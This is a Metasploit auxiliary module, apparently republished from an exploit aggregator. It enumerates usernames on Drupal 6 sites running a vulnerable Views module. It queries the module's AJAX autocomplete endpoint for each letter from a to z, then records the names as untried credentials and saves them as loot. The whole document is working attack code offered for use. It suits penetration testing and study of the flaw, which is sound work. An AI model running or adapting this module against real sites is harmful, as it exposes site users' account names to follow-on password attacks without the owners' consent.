Share
## https://sploitus.com/exploit?id=PACKETSTORM:181019
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::WmapScanServer  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Drupal Views Module Users Enumeration',  
'Description' => %q{  
This module exploits an information disclosure vulnerability in the 'Views'  
module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'.  
Drupal 6 with 'Views' module <= 6.x-2.11 are vulnerable. Drupal does not  
consider disclosure of usernames as a weakness.  
},  
'Author' =>  
[  
'Justin Klein Keane', #Original Discovery  
'Robin Francois <rof[at]navixia.com>',  
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://www.madirish.net/node/465'],  
['URL', 'https://www.drupal.org/node/1004778'],  
],  
'DisclosureDate' => '2010-07-02'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "Drupal Path", "/"])  
])  
end  
  
def base_uri  
@base_uri ||= normalize_uri("#{target_uri.path}/?q=admin/views/ajax/autocomplete/user/")  
end  
  
def check_host(ip)  
res = send_request_cgi(  
'uri' => base_uri,  
'method' => 'GET',  
'headers' => { 'Connection' => 'Close' }  
)  
  
unless res  
return Exploit::CheckCode::Unknown  
end  
  
if res.body.include?('Access denied')  
# This probably means the Views Module actually isn't installed  
print_error("Access denied")  
return Exploit::CheckCode::Safe  
elsif res.message != 'OK' || res.body != '[ ]'  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Appears  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: (ssl ? 'https' : 'http'),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user]  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run_host(ip)  
# Check if remote host is available or appears vulnerable  
unless check_host(ip) == Exploit::CheckCode::Appears  
print_error("#{ip} does not appear to be vulnerable, will not continue")  
return  
end  
  
print_status("Begin enumerating users at #{vhost}")  
  
results = []  
('a'..'z').each do |l|  
vprint_status("Iterating on letter: #{l}")  
  
res = send_request_cgi(  
'uri' => "#{base_uri}#{l}",  
'method' => 'GET',  
'headers' => { 'Connection' => 'Close' }  
)  
  
if res && res.message == 'OK'  
begin  
user_list = JSON.parse(res.body)  
rescue JSON::ParserError => e  
elog('Exception encountered parsing JSON response', error: e)  
return []  
end  
if user_list.empty?  
vprint_error("Not found with: #{l}")  
else  
vprint_good("Found: #{user_list}")  
results << user_list.flatten.uniq  
end  
else  
print_error("Unexpected results from server")  
return  
end  
end  
results = results.flatten.uniq  
print_status("Done. #{results.length} usernames found...")  
results.each do |user|  
print_good("Found User: #{user}")  
  
report_cred(  
ip: Rex::Socket.getaddress(datastore['RHOST']),  
port: datastore['RPORT'],  
user: user,  
proof: base_uri  
)  
end  
  
results = results * "\n"  
p = store_loot(  
'drupal_user',  
'text/plain',  
Rex::Socket.getaddress(datastore['RHOST']),  
results.to_s,  
'drupal_user.txt'  
)  
print_status("Usernames stored in: #{p}")  
end  
end